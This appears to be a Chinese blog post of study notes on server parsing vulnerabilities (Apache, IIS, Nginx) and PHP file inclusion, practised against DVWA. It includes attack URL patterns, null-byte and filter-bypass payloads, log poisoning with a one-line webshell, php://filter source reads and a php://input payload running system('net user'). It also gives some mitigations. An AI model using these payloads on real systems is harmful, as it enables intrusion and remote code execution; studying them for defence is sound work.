解析漏洞和文件包含漏洞

解析漏洞和文件包含漏洞都是服务于文件上传漏洞,大部分来讲,没有文件上传漏洞,文件包含漏洞也没用。对于一部分文件上传漏洞,没有文件包含漏洞或者解析漏洞也没法运行。(隔着说废话)

废话文学真好玩。


解析漏洞

其实都是为了文件上传的白名单绕过做的

Apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。

漏洞形式
适用于黑名单过滤

www.xxxx.xxx.com/test.php.php123


版本较低
1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

IIS5.x-6.x

老版本服务器了,开发语句一般为asp,该漏洞也只能解析asp


目录解析
如果一个目录的后缀有 .asp/.asa
服务器默认把该目录下的文件都解析为asp文件


 

文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。


IIS6.0
可以解析 .asa/.cer/.cdx
./test.asa
/test.cer
/test.cdx

IIS7.5

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生

Nginx

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI。

fix_pathinfo选项 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php


.php是下一路径的,为了能解析这一路径,上衣路径也会当做php来解析
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
当fix_pathinfo值为1存在漏洞


修复方案
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}


文件包含漏洞

文本包含函数,原理包含的文件都当做php执行

PHP中的四个包含文件函数include(),include_once(),require()和require_once()
后面包含的文件,不过什么文件,都会当做php文件执行
建议搞白名单

<?php
include "$_GET[page]";
?>

只要在该文件路径下面,后面解析 page=xxx.jpg会当做php文件执行

 本地包含LIF

本地路径下的文件可以直接按照php文件执行

文件路径相当于当前页面

远程包含RLF

远程包含 RLF 需要配置allow_url_include=on magic_quotes_gpc=off
存在漏洞的参数可以写其他web站点指定下的文件

可以把其他地方的文件当做php文件执行

 

中间件日志文件

apache日志文件来入侵。需要知道目录文件保存在哪里,

Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

文件在Apache目录下

将一句话木马写入日志文件中

access.log会记录访问,所以

然后用本地包含漏洞,执行这个日记文件page=../../../../Apache-20\logs\access.log()

PHP包含读文件

读取的是当前目录下的文件,需要知道当前目录下文件名
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
page是漏洞
php:相当于协议http
base64-encode用base64位加密
x.php读取的文件名

PHP包含写文件

构造URL: [http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input]
`php://input`
[并且提交post数据(自己的代码)

`<;?php system('net user');>;`

system只是个例

注意:只有在allow \_url\_include为on的时候才可以使用,如果想查看回显结果那必须在C:\\php\\php-5.2.14-Win32下找到php-apache2handler.ini打开,查找display_funtions=proc-open,oppen,exec,system…….删掉system重启apache。
![606b71f9cb4541cd38583e3710a39248.png](:/4035a82c24804daa8f546ccd07adfa39)

str_replace函数绕过

函数代码如下
```
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );//将https之类的替换为空
$file = str_replace( array( "../", "..\\" ), "", $file );//替换为空

?>
``` 
针对以上代码可以使用以下组合`…/./`
绝对路径不受任何影响`C:/xampp/htdocs/dvwa/php.ini`
`htthttp:`

 包含截断绕过%00绕过

代码

<?php
if(isset($_GET\['page'\])){

include $_GET\['page'\] .".php" ;//相当于双扩展名,比如1.php.php

}else{

include 'home.php';

}
?>

这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过(基本上没有)
放弃吧

fnamtch函数绕过

代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {//当文件名不以file开头,或者不是include.php时报错。
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

为什么我不在前面用file解析呢
本地文件
page=file:///C:/xampp/htdocs/dvwa/php.ini

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值